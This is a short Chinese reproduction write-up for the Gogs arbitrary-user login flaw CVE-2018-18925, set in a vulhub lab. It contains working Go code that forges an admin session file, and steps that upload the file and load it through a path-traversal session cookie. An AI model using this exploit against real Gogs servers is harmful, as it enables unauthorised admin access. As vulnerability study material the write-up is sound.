Gogs 任意用户登录漏洞(CVE-2018-18925)

版本

0.11.66及以前版本

环境

https://github.com/vulhub/vulhub/tree/master/gogs/CVE-2018-18925

成因

gogs session 存放在sessions/sid[0]/sid[1]/sid
没有过滤./从而可以通过上传伪造的管理员session文件,
通过目录穿越访问伪造文件实现登录

复现

用以下代码生成文件data

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
package main

import (
"bytes"
"encoding/gob"
"encoding/hex"
"fmt"
"io/ioutil"
"os"
)

func EncodeGob(obj map[interface{}]interface{}) ([]byte, error) {
for _, v := range obj {
gob.Register(v)
}
buf := bytes.NewBuffer(nil)
err := gob.NewEncoder(buf).Encode(obj)
return buf.Bytes(), err
}

func main() {
var uid int64 = 1
obj := map[interface{}]interface{}{"_old_uid": "1", "uid": uid, "uname": "root"}
data, err := EncodeGob(obj)
if err != nil {
fmt.Println(err)
}
err = ioutil.WriteFile("data", data, os.ModeAppend)
if err != nil {
fmt.Println(err)
}
edata := hex.EncodeToString(data)
fmt.Println(data)
}

通过releases上传data

在服务器端查看,返现其存放在attachments/fid[0]/fid[1]/fid
将session 改成 session/../../../../attachments/fid[0]/fid[1]/fid

##参考
https://github.com/gogs/gogs/issues/5469
https://xz.aliyun.com/t/3168
https://www.anquanke.com/post/id/163575
https://xz.aliyun.com/t/3725